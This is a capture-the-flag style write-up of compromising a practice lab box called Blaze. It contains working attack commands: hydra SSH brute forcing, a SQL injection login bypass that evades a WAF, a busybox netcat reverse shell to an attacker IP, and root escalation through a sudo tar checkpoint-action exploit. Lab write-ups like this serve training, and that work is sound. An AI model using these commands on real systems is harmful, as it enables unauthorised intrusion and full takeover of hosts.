Summary:
NMAP
[+] I start off with my favorite port scanner (rustscan) that gives us the lay off the land in quickest amount of time. Then use nmap to get a detailed overview of each port.
export ip=192.168.194.10 # alias
rustscan -a $ip --ulimit 5000
nmap -A -T4 -p 22,80,9090


Port Enumeration
[+] Test SSH Brute forcing for weak credentials (in the real world this would be extremely noisy and wouldn’t be done without a narrowed done user/password list from passive reconnaissance).
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt ssh://192.168.194.10 -t 4 -v

No Luck
[+] Before navigating to the web page and going all the possible avenues that come with that. I want to understand the technology stack of each of those open http ports.
whatweb http://$ip
whatweb http://192.168.194.10:9090


[+] Now I want to run a directory busting tool in the background while I work on my manual enumeration methodology when gathering information on a application.
gobuster dir -u $URL -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories.txt -k -t 30
gobuster dir -h # provides all the options that could be used with the "dir" argument
gobuster dir -u $URL:9090 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k -t 30 -xl 43264 # exludes length of a response size

Nothing juicy in our port 80 scan. Test for 9090.

Port 9090 scan errors out but the results give us an indication that the response length needs to be excluded to run the scan successfully. Let’s check the help page.

So we can append –xl and it’ll ignore the file length. Let’s rerun the scan again with this.

The scan does run but all the hits are a redirection to the same page. We can tell by “size:73” which indicates the content within the page is exactly the same.
[+] Time to move on to manual enumeration of these pages. Port 9090 drops us into a login portal.

[+] We do not get any information on possible usernames or passwords from either webpage and have no other directories found yet that we can gather intel from. I tested common default credentials and looked into the Ubuntu version for public exploits. There is not any worth pursuing really. One thing that I found interesting is that the default webpage for port 80 has a title name of Blaze but that’s not what we find on the landing page.

Intersting…
[+] After researching how whatweb works this is what i found: “When you scan a target, WhatWeb typically makes an initial request to the root URL (e.g., example.com/). However, some of its plugins are designed to check for common default or login files like login.php, /wp-admin/, or /robots.txt“. I did not add extensions that could find these pages like login.php to my initial gobuster search. Let’s do that but use feroxbuster for default recursive searching as well.
feroxbuster -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php # adds the extension to search for files ending with php like login.php

Boom, is what always right there, we just needed the right options to our directory busting tool. This would work by adding the extension to gobuster as well, I just like using feroxbuster sometimes.

This is what I been looking for. Webpage with a tile named
Blaze.
Exploitation
[+] Common default creds do not work here either. Another hurdle but this time quick SQLi statements allow us to understand whether we can bypass authentication or dump some credentials.
test' or 1=1-- -

1st attempt

Not going to lie, I got worried for a second and had to double check I was on a OSCP box.
[+] After realizing I was fine, one thing I learned about webapps and error output is that each time you get some output it’s actually a hint about how to bypass it. This message was most likely caused by a WAF (Web Application Firewall), and it looks for statements that are trying to exploit SQLi. “OR 1=1-- -" is one of the most recognized widely used initial statements used. So, before we get super complex and try to craft a brand-new payload let’s test another simple SQLi statement that does not create fireworks for the WAF.
admin'-- - # simple I know

Worked like a charm.
This worked because:
admin: is the literal username string you are trying to authenticate as.
': The single quote closes the opening quote for the username string.
-- -: The double hyphen (-- ) is a SQL comment, which cancels out the rest of the original query, including the password check (' AND password = '[password]).
ORIGINAL SQL Query:
SELECT * FROM users WHERE username = '[username]'-- -' AND password = '[password]'
Modified SQL Query:
SELECT * FROM users WHERE username = 'admin'-- -' # we end the statement which makes it true and also WAF can't blocked just the admin username and it has not detected a statement like OR 1=1 to block.
[+] The first password looks like base64, so we could try to decode it.
echo 'Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=' | base64 -d

Sweet.
[+] Attempted these credentials against SSH and it didn’t work. Which brings us to port 9090.

We like to see that. RCE > revshell
[+] Let’s set up a listener to catch the revshell using busybox.
which nc
which busybox
busybox nc 192.168.45.190 443 -e sh


[+] Best to elevate our tty.
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'

Priv Esc
[+] First thing I check is sudo -l and sure enough we have a command we can run:
(ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

[+] Checking GTFOBins we get a priv esc method with a user that has sudo permissions for tar.
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

In this case we would modify the command to include the full tar binary path and replace both /dev/null options with /tmp/backup.tar.gz & * as shown in the command we’re allowed to run as sudo.
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz * --checkpoint=1 --checkpoint-action=exec=/bin/sh

Pwn3d!